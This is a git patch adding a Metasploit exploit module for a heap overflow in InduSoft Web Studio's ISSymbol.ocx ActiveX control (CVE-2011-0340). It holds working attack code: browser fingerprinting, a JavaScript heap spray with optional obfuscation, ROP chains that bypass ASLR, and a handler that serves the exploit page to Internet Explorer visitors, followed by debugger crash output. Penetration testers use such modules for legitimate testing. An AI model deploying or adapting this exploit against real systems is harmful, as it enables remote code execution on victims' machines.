From 8a07d2e53df1359405eaa42be4c4280150c70b75 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 18 Dec 2012 23:48:53 +0100 Subject: [PATCH] Added module for ZDI-12-168 --- ...ndusoft_issymbol_internationalseparator.rb | 313 ++++++++++++++++++ 1 file changed, 313 insertions(+) create mode 100644 modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb new file mode 100644 index 0000000000..a20d5ca7fc --- /dev/null +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -0,0 +1,313 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking, + :classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}", + :method => "InternationalSeparator" + }) + + + def initialize(info={}) + super(update_info(info, + 'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow", + 'Description' => %q{ + This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00 + SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long + string argument for the InternationalSeparator() method of the ISSymbol control. + This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Alexander Gavrun', # Vulnerability discovery + 'James Fitts', # Metasploit module + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2011-0340' ], + [ 'OSVDB', '72865' ], + [ 'BID', '47596' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ], + [ 'URL', 'http://secunia.com/secunia_research/2011-37/' ] + ], + 'Payload' => + { + 'Space' => 934, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ], + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Apr 28 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def ie_heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) + + # Land the payload at 0x0c0c0c0c + case my_target + when targets[7] + # IE 9 on Windows 7 + js = %Q| + function randomblock(blocksize) + { + var theblock = ""; + for (var i = 0; i < blocksize; i++) + { + theblock += Math.floor(Math.random()*90)+10; + } + return theblock; + } + + function tounescape(block) + { + var blocklen = block.length; + var unescapestr = ""; + for (var i = 0; i < blocklen-1; i=i+4) + { + unescapestr += "%u" + block.substring(i,i+4); + } + return unescapestr; + } + + var heap_obj = new heapLib.ie(0x10000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_random_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset_length = #{my_target['Offset']}; + for (var i=0; i < 0x1000; i++) { + var padding = unescape(tounescape(randomblock(0x1000))); + while (padding.length < 0x1000) padding+= padding; + var junk_offset = padding.substring(0, offset_length); + var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); + while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; + sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); + heap_obj.alloc(sprayblock); + } + | + + else + # For IE 6, 7, 8 + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + | + + end + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + return js + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + if t['Rop'].nil? + prepend = [ + 0x0c0c0c0c, + 0x0c0c0c0c, + 0x0c0c0c0c, + 0x0c0c0c0c, + 0x0c0c0c0c, + 0x0c0c0c0c, + 0x0c0c0c28 # Will finally become EIP + ].pack("V*") + return prepend + code + end + + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + stack_pivot = [ + 0x0c0c0c0c, # ret from msvcrt.dll + 0x77c15ed6, # ret from msvcrt.dll + 0x77c15ed6, # ret from msvcrt.dll + 0x77c15ed6, # ret from msvcrt.dll + 0x77c15ed6, # ret from msvcrt.dll + 0x77c1f519, # pop # ret from msvcrt.dll + 0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll + ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) + else + print_status("Using JRE ROP") + stack_pivot = [ + 0x0c0c0c0c, # ret from msvcr71.dll + 0x7c376fff, # ret from msvcr71.dll + 0x7c376fff, # ret from msvcr71.dll + 0x7c376fff, # ret from msvcr71.dll + 0x7c376fff, # ret from msvcr71.dll + 0x7c376ffe, # pop # ret from msvcr71.dll + 0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll + ].pack("V*") + rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) + end + + return rop_payload + end + + def load_exploit_html(my_target, cli) + p = get_payload(my_target, cli) + js = ie_heap_spray(my_target, p) + + # ActiveX parameters + clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f" + name = rand_text_alpha(rand(50) + 1 ) + boom = Rex::Text.to_unescape("\x0c" * 6888) + + html = %Q| + + + + + + + + + + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end + +=begin +eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796 +eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 +ISSymbol!DllUnregisterServer+0xc9e2: +100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=???????? +0:000> u eip +ISSymbol!DllUnregisterServer+0xc9e2: +100127d2 8b01 mov eax,dword ptr [ecx] +100127d4 8b5018 mov edx,dword ptr [eax+18h] +100127d7 ffe2 jmp edx +100127d9 cc int 3 +100127da cc int 3 +100127db cc int 3 +100127dc cc int 3 +100127dd cc int 3 + +* ebx +$ ruby pattern_offset.rb 41306941 6888 +[*] Exact match at offset 240 + +* ecx +$ ruby pattern_offset.rb 336b4632 6888 +[*] Exact match at offset 4208 + +=end \ No newline at end of file